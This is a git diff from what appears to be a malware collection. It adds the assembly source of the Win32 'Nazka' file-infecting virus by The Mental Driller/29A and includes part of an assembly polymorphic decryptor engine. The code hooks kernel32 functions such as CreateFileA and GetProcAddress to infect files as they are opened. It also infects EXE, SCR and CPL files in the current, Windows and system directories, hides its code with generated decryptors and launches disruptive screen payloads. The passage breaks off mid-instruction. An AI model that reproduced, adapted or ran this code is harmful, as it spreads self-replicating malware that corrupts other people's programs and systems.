;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; PUSH_POP E?X *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+push_pop proc ;+push eax ;+cmp dl,99H ;+je @@1 ;+call mov_reg ;+@@1: ;+sub al,70H ;+stosb ;+ ;+call chg_garble ;+ ;+cmp bl,99H ; Only PUSH ?+je @@2 ;+add al,08H ;+stosb ;+@@2: ;+pop eax ;+ret ;+push_pop endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; JUMP GENERATOR *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+jump proc ;+pushad ;+xor edx,edx ;+call rnd ;+and eax,01111110b ; 126+mov ecx,eax ;+mov bl,al ;+mov al,0EBH ;+stosb ;+mov al,bl ;+stosb ;+@@1: ;+call rnd ;+stosb ;+loop @@1 ;+mov dr0,edi ;+popad ;+mov edi,dr0 ;+ret ;+jump endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CHANGE EDI *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ; IF DL = 1+ch_edi proc ; A RANDOMIC DWORD+push eax ; WILL BE USED+in al,40H ;+and al,0001b ; IF NOT, THE NEXT+jz @@1 ; ROUTINE HAVE TO STORE+mov ax,0FF33H ; A DWORD+stosw ;+mov ax,0C781H ;+stosw ;+jmp short @@2 ;+@@1: ;+mov al,0BFH ;+stosb ;+@@2: ;+cmp dl,99H ;+je @@3 ;+@@4: ;+pop eax ;+ret ;+@@3: ;+call rnd ;+stosd ;+jmp @@4 ;+ch_edi endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; CRYPT CODE *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++++CRYPT proc++; 1) mov edi, 'CODE_OFFSET_RUNTIME'+; 2) mov ecx, 'VIRUS_LENGHT'+; 3) mov /eax/ebx/edx/, DWORD PTR [edi]+; 4) xor /eax/ebx/edx/, KEY+; 5) add/sub /eax/ebx/edx/, BYTE++mov [ebp+_off1],edi ; PROC init++call edi_ofs+mov ecx,dword ptr [ebp+len]+call len_ecx+call edi2eax+push edi+call xor_eax+call eax2edi+call add_edi+pop ebx+sub ebx,2 ; Back to instruction+call do_loop++mov eax,edi+sub eax,[ebp+all_ini] ; EAX = decryptor size+add eax,[ebp+_RVA]+add eax,2+mov esi,[ebp+_off2]+mov [esi],eax+push edi ; Save end of++mov ecx,dword ptr [ebp+len]+mov esi,dword ptr [ebp+ofsvir];+rep movsd ; copy it++pop edi+push edi+sub edi,[ebp+_off1]+mov eax,edi+mov ebx,[ebp+_off3]+mov esi,ebx+lea edi,[ebp+ofs buff]+mov ecx,eax+mov edx,30+sub edx,ecx+rep movsb+mov al,90H+mov ecx,edx+sub ecx,2+rep stosb+pop edi++buff db 30 dup (90H)++db 6 dup (0C3H)++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; EDI_OFFSET *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+edi_ofs proc ;+push eax ;+mov al,0BFH ;+stosb ;+mov [ebp+_off2],edi ; mov edi,offset virus+xor eax,eax ;+stosd ;+pop eax ;+ret ;+edi_ofs endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; MOV ECX,LENGHT *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+len_ecx proc ;+push eax ;+mov [ebp+_off3],edi ;+mov al,0B9H ;+stosb ;+mov eax,ecx ;+stosd ;+pop eax ;+ret ;+len_ecx endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; [EDI] - > EAX *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+edi2eax proc ;+push eax ;+mov ax,078BH ; mov eax,dword ptr [edi]+stosw ;+pop eax ;+ret ;+edi2eax endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; XOR EAX, ???? *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+xor_eax proc ;+push eax ;+mov al,35H ; XOR EAX, ????+stosb ;+call rnd ;+stosd ; rnd dword+pop eax ;+ret ;+xor_eax endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; EAX -> [EDI] *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+eax2edi proc ;+push eax ;+mov ax,0789H ; mov dword ptr [edi],eax+stosw ;+pop eax ;+ret ;+eax2edi endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; ADD EDI,4 *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+add_edi proc ;+push eax ;+mov ax,0C783H ;+stosw ;+mov al,4 ;+stosb ;+pop eax ;+ret ;+add_edi endp ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++++;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++; LOOP DECRYPT_INI *+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*++ ;+do_loop: ;+push eax ;+push ebx ;+mov al,0E2H ;+stosb ;+sub ebx,edi ;+dec ebx ;+mov al,bl ;+stosb ;+mov [ebp+_off4],edi ; MARK the end.+pop ebx ;+pop eax ;+ret ;+;*+*+*+*+*+*+*+*+*+*+*+*+*+*+*+++_off1 dd 0+_off2 dd 0+_off3 dd 0+_off4 dd 0+_off5 dd 0 ; offset 4 'RET' , put a Nop+siz dd 0++CRYPT endpdiff --git a/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Nazka.528 b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Nazka.528new file mode 100644index 0000000..c4dade0--- /dev/null+++ b/Malwares/Win32/win32 Engines/assembly/Virus.Win32.Nazka.528@@ -0,0 +1,1922 @@+.386p ;;;;;;;;;;;; Virus NAZKA ������� ������� �������+.model flat ;;;;;; by The Mental Driller/29A ��� ��� ��� ��� ��� ���+locals ;;;;;;;;;;; ------------------------- ������ ������� �������+.data ;;;;;;;;;;;; Infection is as follows: ������� ������� ��� ���+;;;;;;;;;;;;;;;;;; - Decryptor in .code section ������� ������� ��� ���+�� � ;;;;;;;;;;;;; - Virus in .reloc section+���� ;;;;;;;;;;;;; - Original overwritten code at the end of the last section+� � ;;;;;;;;;;;;; After decryption:+;;; ��� ;;;;;;;;;; - Restoring of the overwritten code with WriteProcessMemory+;;; ��� ;;;;;;;;;; Achievements with this type of infection:+;;; � � ;;;;;;;;;; - .code section mantains original flags+;;;;;; ��� ;;;;;;; - .reloc section (which no longer is named so) can be a+;;;;;; �� ;;;;;;; "strange" section of an executable, with EXEC_WRI_READ+;;;;;; ��� ;;;;;;; flags+;;;;;;;;; � � ;;;; - Original host code is saved and encrypted at the end of+;;;;;;;;; ��� ;;;; the host.+;;;;;;;;; � � ;;;;+;;;;;;;;;;;; ��� ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;; ��� ;by;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;; � � ;The Mental Driller/29A;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; All the virus is intended to be full compatible with future versions of ;;;;+;; win32 (I mean, I don't use strange things like the VxDCALL0 or ring-0 int ;;+;; callgates, due to the fact that they are exploits, after all, and they can ;+;; be fixed in future versions of the kernel). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; This virus isn't very good, but I had to made something to probe that I ;;;;+;; can actually code under Win32 systems, and this virus is a look-a-like of ;;+;; a most advanced version that I'm thinking on, making complex-as-the-fuck ;;;+;; decryptors (that's the reason why I save 1000h bytes of code of .text in ;;;+;; the infections, just to test the technique). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; The virus has two parts: the first sets a per-process residency catching ;;;+;; some common functions to open files, and GetProcAddress to return our ;;;;;;+;; handled address just in case the application uses the function. The second ;+;; part is a runtime infection, which infects all EXEs, SCRs and CPLs on ;;;;;;+;; current, system and windows directory (as always). ;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; PAYLOADS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; This virus has 3 different payloads based on the GDI library: ;;;;;;;;;;;;;;+;; 1) Draws NAZKA in the desktop with colorful polygons and displays a message;+;;;; box which can't be closed :) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; 2) Writes "N A Z K A" with the TextOutA function in random positions all ;;;+;;;; over the screen, covering all the desktop. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; 3) The same as 2, but this time with random-color pixels, with the function;+;;;; SetPixel. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; This payloads are spawned in a different thread, so they act while the ;;;;;+;;; application runs. ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; POLYMORPHISM ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; The virus is slightly polymorphic, it means, the decryptors are easy to ;;;;+;;; emulate and all that, but I didn't want to leave the virus "nude", and a ;;+;;; single fixed decryptor didn't like me at all. Well, this type of polymor- ;+;;; phism don't like me very much either, but I'm still (!!) working on the ;;;+;;; Tuareg, which will be finished in two or three years :P. ;;;;;;;;;;;;;;;;;;+;; The engine will create three polymorphic decryptors in the beginning of ;;;;+;;; the .text section, and will decrypt the .reloc section (where the virus ;;;+;;; is). ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;; I have to apologize because I didn't comment very much of the code. ;;;;;;;;+;; Instead of it, I intend to put names to the functions and labels to be ;;;;;+;; quite explicit (it's my habit lastly), so I hope there isn't many problems ;+;; It's quickly coded also, so many buffer variables are between code instead ;+;; of using the more elegant technique of allocate some local memory for ;;;;;;+;; variables and all that. Maybe in future versions... ;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;++;; Message on first generation+Titulo db 'Virus NAZKA 1st Generation by The Mental Driller/29A',0+Mensaje db 'You have been infected with the first generation',0dh,0ah+ db 'of the virus NAZKA by The Mental Driller/29A',0+.code+extrn ExitProcess:PROC+extrn MessageBoxA:PROC++Virus_Size equ offset End_Virus - offset Inic_Virus+Encrypted_Virus_Size equ Virus_Size++Nazka proc+Inic_Virus label dword+ push eax ; Size to store the return address+ pusha+ call GetDeltaOffset+GetDeltaOffset: pop ebp+ sub ebp, offset GetDeltaOffset+ mov [ebp+DeltaOffset], ebp+ mov [ebp+DeltaOffset2], ebp+ ;; Put the return address+ mov eax, [ebp+InicIP]+ mov [esp+20h], eax++ mov byte ptr [ebp+CounterOfFunctions], 0++ mov eax, [esp+24h]+ and eax, 0FFFFF000h+ mov dword ptr [ebp+Addr_Kernel32], eax+ mov dword ptr [ebp+AuxCounter], 100h+ lea eax, [ebp+offset @@Loop_001]+ mov dword ptr [ebp+SEHReturn], eax++ push offset MySEH ; Setup SEH for preventing+ push dword ptr fs:[0] ; reading exceptions+ mov fs:[0], esp++@@Loop_001: sub dword ptr [ebp+Addr_Kernel32], 1000h+ mov eax, [ebp+Addr_Kernel32]+ cmp word ptr [eax], 'ZM'+ jz @@MaybeKernelFound+ dec dword ptr [ebp+AuxCounter]+ jnz @@Loop_001+ push ds+ pop ax+ cmp ax, 0137h+ jb @@JumpToHost2 ; No hard-coded address for WinNT+ mov eax, 0BFF70000h ; Hard-coded under Win9x+ jmp @@KernelFound2++@@MaybeKernelFound:+ mov ebx, [eax+3Ch]+ add ebx, eax+ cmp word ptr [ebx], 'EP'+ jnz @@Loop_001++@@KernelFound2: pop dword ptr fs:[0] ; Restore SEH+ pop ecx ; Eliminate our handler from stack++ mov ebx, [ebx+78h]+ add ebx, eax+ mov ecx, [ebx+18h]++ mov esi, [ebx+20h]+ add esi, eax+ @@Loop_003: mov edi, [esi]+ add edi, eax+ cmp dword ptr [edi], 'PteG'+ jnz @@Next_001+ cmp dword ptr [edi+4], 'Acor'+ jnz @@Next_001+ cmp dword ptr [edi+8], 'erdd'+ jnz @@Next_001+ cmp word ptr [edi+0Ch], 'ss'+ jnz @@Next_001+ cmp byte ptr [edi+0Eh], 0+ jz @@GetProcAddressFound+ @@Next_001: add esi, 4+ loop @@Loop_003+ jmp @@JumpToHost+ @@GetProcAddressFound:+ sub ecx, [ebx+18h]+ neg ecx+ shl ecx, 1+ add ecx, [ebx+24h]+ add ecx, eax+ movzx ecx, word ptr [ecx]+ shl ecx, 2+ add ecx, [ebx+1Ch]+ add ecx, eax+ mov ecx, [ecx]+ add ecx, eax+ mov dword ptr [ebp+RVA_GetProcAddress], ecx++ lea esi, [ebp+CrunchedASCIIs]+ mov edx, [ebp+Addr_Kernel32]+ mov [ebp+ModuleToUse], edx+ lea edx, [ebp+RVAs]++ call GetRVAs+ jc @@JumpToHost++;; Let's patch the import directory+;; I also use the Jacky Qwerty's idea of patch the GetProcAddress function+;; (implemented in Win32.Cabanas) to catch the functions that many+;; applications obtain via GetProcAddress+ call PatchImportDirectory++;; All RVAs got!+;; Let's infect directories+ call RuntimeInfection++;; The payloads! Nice GDI routines spawned in a thread, so they are acting+;; while the process is active. There are three payloads:+;; 1) Draws "NAZKA" with colorful letters and rotates the color of them every+;; tenth of second.+;; 2) Writes "N A Z K A" all over the screen with green text letters and in+;; random positions, covering completely the desktop in a few time :)+;; 3) The same as 2 but with pixels instead of text.+ call Payload++@@JumpToHost: cmp dword ptr [ebp+CounterOfFunctions], 2+ jb @@SimulateExecError+ call dword ptr [ebp+RVA_GetCurrentProcess]+ push 0+ push 1000h+ lea ebx, [ebp+End_Virus]+ push ebx+ mov ebx, [ebp+RestoreAddress]+ push ebx+ push eax+ call dword ptr [ebp+RVA_WriteProcessMemory]++ popa+ ret++@@SimulateExecError:+ push 00BFF700h ; Construct NOP/MOV BYTE PTR [BFF70000],0+ push 0005C690h ; to generate an exception from an "unknown+ jmp esp ; module" :)++@@JumpToHost2: pop dword ptr fs:[0] ; Restore original SEH+ pop eax+ jmp @@JumpToHost+Nazka endp++InicIP dd offset FakedHost+RestoreAddress dd offset FakedHost+CounterOfFunctions db 0++MySEH proc+ mov esp, [esp+8] ; Exception? Restore and jump to the+ db 0BDh ; specified address+DeltaOffset dd 0+ jmp [ebp+SEHReturn]+MySEH endp++SEHReturn dd 0+AuxCounter dd 0++GetRVAs proc+ @@Loop_004: lea edi, [ebp+DecrunchBuffer]+ push edx+ push edi+ @@Loop_005: lodsb+ push esi+;; 0F0h --> Create+;; 0F1h --> File+;; 0F2h --> Get+;; 0F3h --> DirectoryA+;; 0F4h --> Find+;; 0F5h --> Process+;; 0F6h --> Set+;; 0F7h --> AttributesA+ cmp al, 0F6h+ ja @@PutAttributesA+ jz @@PutSet+ cmp al, 0F4h+ ja @@PutProcess+ jz @@PutFind+ cmp al, 0F2h+ ja @@PutDirectory+ jz @@PutGet+ cmp al, 0F0h+ ja @@PutFile+ jb @@PutDirect+ @@PutCreate: lea esi, [ebp+ASC_Create]+ mov ecx, 6+ jmp @@Store+ @@PutFile: mov eax, 'eliF'+ stosd+ jmp @@Next_002+ @@PutGet: lea esi, [ebp+ASC_Get]+ mov ecx, 3+ jmp @@Store+@@PutDirectory: lea esi, [ebp+ASC_DirectoryA]+ mov ecx, 0Ah+ jmp @@Store+@@PutFind: mov eax, 'dniF'+ stosd+ jmp @@Next_002+@@PutProcess: lea esi, [ebp+ASC_Process]+ mov ecx, 7+ jmp @@Store+@@PutSet: lea esi, [ebp+ASC_Set]+ mov ecx, 3+ jmp @@Store+@@PutAttributesA: lea esi, [ebp+ASC_AttributesA]+ mov ecx, 0Bh+ @@Store: rep movsb+ jmp @@Next_002++ @@PutDirect: stosb+ @@Next_002: pop esi+ or al, al+ jnz @@Loop_005+ push dword ptr [ebp+ModuleToUse]+ call dword ptr [ebp+RVA_GetProcAddress]+ pop edx+ or eax, eax+ jz @@Error+ mov [edx], eax+ inc byte ptr [ebp+CounterOfFunctions]+ add edx, 4+ cmp byte ptr [esi], 0+ jnz @@Loop_004+ clc+ ret+@@Error: stc+ ret+GetRVAs endp++ModuleToUse dd 0++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;+;; PER-PROCESS RESIDENCY: SETTING AND INFECTION+;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;++PatchImportDirectory proc+ db 0B8h ; MOV EAX,xxxxxxxx+ImageBase dd 400000h ; Image base, set on infection time+ mov ebx, [eax+3Ch]+ add ebx, eax+ cmp word ptr [ebx], 'EP'+ jnz @@End+ mov ecx, [ebx+84h]+ mov ebx, [ebx+80h]+ add ebx, eax+@@SearchModule: mov esi, [ebx+0Ch]+ or esi, esi+ jz @@End+ add esi, eax+ @@ToLowerCase: mov edx, [esi]+ call ToLower+ cmp edx, 'nrek'+ jnz @@NextModule+ mov edx, [esi+4]+ call ToLower+ cmp edx, '23le'+ jz @@Found+ @@NextModule: add ebx, 14h+ sub ecx, 14h+ jnz @@SearchModule+ jmp @@End++ @@Found: mov esi, [ebx+10h]+ add esi, eax+ cld++ lea ebx, [ebp+FunctionsToPatch]+ @@Loop_001: mov edi, ebx+ lodsd+ or eax, eax+ jz @@End+ mov ecx, 0Fh+ repnz scasd+ jnz @@Loop_001+ sub edi, ebx+ mov eax, [ebp+edi+FunctionsAddress-4]+ add eax, ebp+ mov [esi-4], eax+ jmp @@Loop_001+ @@End: ret+PatchImportDirectory endp++FunctionsAddress label dword+dd offset My_GetProcAddress+dd offset My_CreateFileA+dd offset My_CreateProcessA+dd offset My_FindFirstFileA+dd offset My_FindNextFileA+dd offset My_GetFileAttributesA+dd offset My_SetFileAttributesA+dd offset My_GetFullPathNameA+dd offset My_MoveFileA+dd offset My_CopyFileA+dd offset My_DeleteFileA+dd offset My_WinExec+dd offset My__lopen+dd offset My_MoveFileExA+dd offset My_OpenFile++;,,,,,,,,,,,,,,,,,,,,,,,,,+;; PER-PROCESS FUNCTIONS ;+;'''''''''''''''''''''''''+GetDelta proc+ mov eax, 12345678h+ org $-4+DeltaOffset2 dd 0+ ret+GetDelta endp++My_GetProcAddress proc+ call GetDelta+ push ecx+ add eax, offset @@ReturnHere+ mov ecx, eax+ xchg eax, [esp+4]+ mov [ecx+1], eax+ pop ecx+ call GetDelta+ mov eax, [eax+RVA_GetProcAddress]+ jmp eax+ @@ReturnHere: db 68h+ReturnGetProcAddress dd 0+ or eax, eax+ jz @@Return+ pusha+ push eax+ call GetDelta+ xchg ebp, eax+ pop eax+ lea esi, [ebp+RVAs]+ lea edi, [ebp+RVAs+0Eh*4]+ mov ebx, esi+ xchg ecx, eax+ @@Loop_GPA: lodsd+ cmp eax, ecx+ jnz @@Next_GPA+ sub esi, ebx+ add esi, ebp+ mov eax, [esi+FunctionsAddress+4]+ mov [esp+1Ch], eax ; Substitute EAX to function+ ; by our function address+ jmp @@Return2+ @@Next_GPA: cmp esi, edi+ jnz @@Loop_GPA+ @@Return2: popa+ @@Return: ret ; Ufffh... I hope this work+My_GetProcAddress endp ; (later) It worked! :)++My_CreateFileA proc+ call GetDelta+ mov eax, [eax+RVA_CreateFileA]+ jmp InfectByPerProcess+My_CreateFileA endp++InfectByPerProcess proc+ push eax+ pusha+ call GetDelta+ xchg ebp, eax+ mov ebx, [esp+28h]+ lea eax, [ebp+FindFileField]+ push eax+ push ebx+ call dword ptr [ebp+RVA_FindFirstFileA]+ inc eax+ jz @@Return+ dec eax+ push eax+ call InfectFile+ call dword ptr [ebp+RVA_FindClose]+ @@Return: popa+ ret ; Jump to kernel function+InfectByPerProcess endp++My_CreateProcessA proc+ call GetDelta+ mov eax, [eax+RVA_CreateProcessA]+ jmp InfectByPerProcess+My_CreateProcessA endp++FindFirstIdent db 0++My_FindNextFileA proc+ call GetDelta+ mov byte ptr [eax+FindFirstIdent], 0+ jmp Common_FindFile+My_FindNextFileA endp++My_FindFirstFileA proc+ call GetDelta+ mov byte ptr [eax+FindFirstIdent], 1+ Common_FindFile: add eax, offset @@ReturnHere+ push ecx+ mov ecx, eax+ xchg eax, [esp+4]+ mov [ecx+1], eax+ mov eax, [esp+0Ch] ; We put the buffer address...+ mov [ecx+0Dh], eax ; ...here+ pop ecx+ call GetDelta+ cmp byte ptr [eax+FindFirstIdent], 1+ jz @@PutFindFirst+ @@PutFindNext: mov eax, [eax+RVA_FindNextFileA]+ jmp eax+ @@PutFindFirst: mov eax, [eax+RVA_FindFirstFileA]+ jmp eax+ @@ReturnHere: db 68h ; PUSH Value+ dd 0 ; +1+ pusha ; +5+ inc eax ; +6+ jnz @@ItsOK ; +7+ dec eax ; +9+ jmp @@Return ; +A+ @@ItsOK: db 0BEh ; MOV ESI,Value ; +C+ @@ESIValue: dd 0 ; +D+ call GetDelta+ xchg ebp, eax+ lea edi, [ebp+FindFileField]+ mov ecx, FindFileFieldSize+ cld+ rep movsb+ dec byte ptr [ebp+InfectFileNow]+ jnz @@Return+ mov byte ptr [ebp+InfectFileNow], 3+ call InfectFile+ @@Return: popa+ ret+My_FindFirstFileA endp++InfectFileNow db 3++My_GetFileAttributesA proc+ call GetDelta+ mov eax, [eax+RVA_GetFileAttributesA]+ jmp InfectByPerProcess+My_GetFileAttributesA endp++My_SetFileAttributesA proc+ call GetDelta+ mov eax, [eax+RVA_SetFileAttributesA]+ jmp InfectByPerProcess+My_SetFileAttributesA endp++My_GetFullPathNameA proc+ call GetDelta+ mov eax, [eax+RVA_GetFullPathNameA]+ jmp InfectByPerProcess+My_GetFullPathNameA endp++My_MoveFileA proc+ call GetDelta+ mov eax, [eax+RVA_MoveFileA]+ jmp InfectByPerProcess+My_MoveFileA endp++My_CopyFileA proc+ call GetDelta+ mov eax, [eax+RVA_CopyFileA]+ jmp InfectByPerProcess+My_CopyFileA endp++My_DeleteFileA proc+ call GetDelta+ mov eax, [eax+RVA_DeleteFileA]+ jmp InfectByPerProcess+My_DeleteFileA endp++My_WinExec proc+ call GetDelta+ mov eax, [eax+RVA_WinExec]+ jmp InfectByPerProcess+My_WinExec endp++My__lopen proc+ call GetDelta+ mov eax, [eax+RVA__lopen]+ jmp InfectByPerProcess+My__lopen endp++My_MoveFileExA proc+ call GetDelta+ mov eax, [eax+RVA_MoveFileExA]+ jmp InfectByPerProcess+My_MoveFileExA endp++My_OpenFile proc+ call GetDelta+ mov eax, [eax+RVA_OpenFile]+ jmp InfectByPerProcess+My_OpenFile endp++;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;+;;;+;;; RUN-TIME INFECTION+;;;+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;++RuntimeInfection proc+ call InfectCurrentDir+ push 80h+ lea eax, [ebp+Directory2]+ push eax+ call dword ptr [ebp+RVA_GetCurrentDirectoryA]+ call InfectWindowsDir+ call InfectSystemDir+ lea eax, [ebp+Directory2]+ push eax+ call dword ptr [ebp+RVA_SetCurrentDirectoryA]+ ret+RuntimeInfection endp++Directory1 db 80h dup (0)+Directory2 db 80h dup (0)++InfectSystemDir proc+ mov ebx, [ebp+RVA_GetSystemDirectoryA]+Common_InfectDir:+ push 80h+ lea eax, [ebp+Directory1]+ push eax+ call ebx+ or eax, eax+ jz @@Return+ call SetDirectory1+ call InfectCurrentDir+@@Return: ret+InfectSystemDir endp++InfectWindowsDir proc+ mov ebx, [ebp+RVA_GetWindowsDirectoryA]+ jmp Common_InfectDir+InfectWindowsDir endp++SetDirectory1 proc+ lea eax, [ebp+Directory1]+ push eax+ call dword ptr [ebp+RVA_SetCurrentDirectoryA]+ ret+SetDirectory1 endp++InfectCurrentDir proc+ call DeleteDATs+ lea ecx, [ebp+FindFileMask1]+ call InfectCurrentDir2+ lea ecx, [ebp+FindFileMask2]+ call InfectCurrentDir2+ lea ecx, [ebp+FindFileMask3]+ call InfectCurrentDir2+ ret+InfectCurrentDir endp++InfectCurrentDir2 proc+ lea ebx, [ebp+FindFileField]+ push ebx+ push ecx+ call dword ptr [ebp+RVA_FindFirstFileA]+ inc eax+ jz @@Fin0+ dec eax+ mov dword ptr [ebp+FindFileHandle], eax+@@InfectAgain: call InfectFile+ lea ebx, [ebp+FindFileField]+ push ebx+ push dword ptr [ebp+FindFileHandle]+ call dword ptr [ebp+RVA_FindNextFileA]+ or eax, eax+ jnz @@InfectAgain+ push dword ptr [ebp+FindFileHandle]+ call dword ptr [ebp+RVA_FindClose]+ @@Fin0: ret+InfectCurrentDir2 endp++FindFileHandle dd 0++InfectFile proc+ mov ebx, [ebp+CreationTime]+ and ebx, 3+ cmp bl, 3+ jz @@End ; Infection mark+ lea ebx, [ebp+FileName]+ call CheckFileName+ jc @@End+ push 80h+ push ebx+ call dword ptr [ebp+RVA_SetFileAttributesA]+ call OpenFile+ jc @@End2+ call MapFile+ or eax, eax+ jz @@End3+ mov dword ptr [ebp+MappingAddress], eax+ mov edi, eax+ cmp word ptr [edi], 'ZM'+ jnz @@End4+ ; cmp word ptr [edi+12h], 'DM'+ ; jz @@End4+ mov esi, [eax+3Ch]+ add esi, edi+ mov [ebp+PEHeaderAddress], esi+ cmp word ptr [esi], 'EP'+ jnz @@End4+;; ESI=Header address, EDI=Mapping address (beginning of file)++;; Manner of infecting the file:+;; 1) The section .reloc is anulated+;; 2) We check if reloc is quite big to contain the virus. If not, we exit+;; 3) We copy from .text to the end of the last section the portion of code+;; that is going to be overwritten+;; 4) We copy the virus to .reloc and we change the name of the section by+;; another randomly generated+;; 5) We overwrite .text section with the decryptor (we check if .text is big+;; enough to contain this).+;; 6) When execution, .text must be restored from the saved data. All other+;; things (reloc, etc.) can remain.++ movzx ebx, word ptr [esi+14h]+ movzx ecx, word ptr [esi+06h]+ lea ebx, [ebx+esi+18h]+ mov eax, 28h+ push ebx+ push ecx+ dec ecx+ mul ecx+ add ebx, eax+ sub ebx, edi+ mov [ebp+LastHeader], ebx ; In EBX, the physical address+ ; of the header of the last section+ pop ecx+ pop eax+ mov dword ptr [ebp+TextHeader], 0+ mov dword ptr [ebp+RelocHeader], 0+ @@Loop_001: cmp dword ptr [eax], 'xet.'+ jnz @@LookForReloc+ cmp dword ptr [eax+4], 0+'t'+ jnz @@NextSection+ sub eax, edi+ mov [ebp+TextHeader], eax ; Physical address of .text+ add eax, edi+ jmp @@NextSection+@@LookForReloc: cmp dword ptr [eax], 'ler.'+ jnz @@NextSection+ cmp dword ptr [eax+4], 0+'co'+ jnz @@NextSection+ sub eax, edi+ mov [ebp+RelocHeader], eax ; Physical address of .reloc+ add eax, edi+@@NextSection: add eax, 28h+ loop @@Loop_001+ cmp [ebp+TextHeader], ecx ; 0?+ jz @@End4+ mov eax, [ebp+RelocHeader]+ or eax, eax+ jz @@End4+ cmp eax, [ebp+LastHeader] ; Is last section the reloc?+ jnz @@End4 ; If it isn't, exit++ mov dword ptr [esi+98h], 0+ mov dword ptr [esi+9Ch], 0 ; Anulate relocs+ mov eax, [esi+28h]+ mov ebx, [esi+34h]+ add eax, ebx+ mov 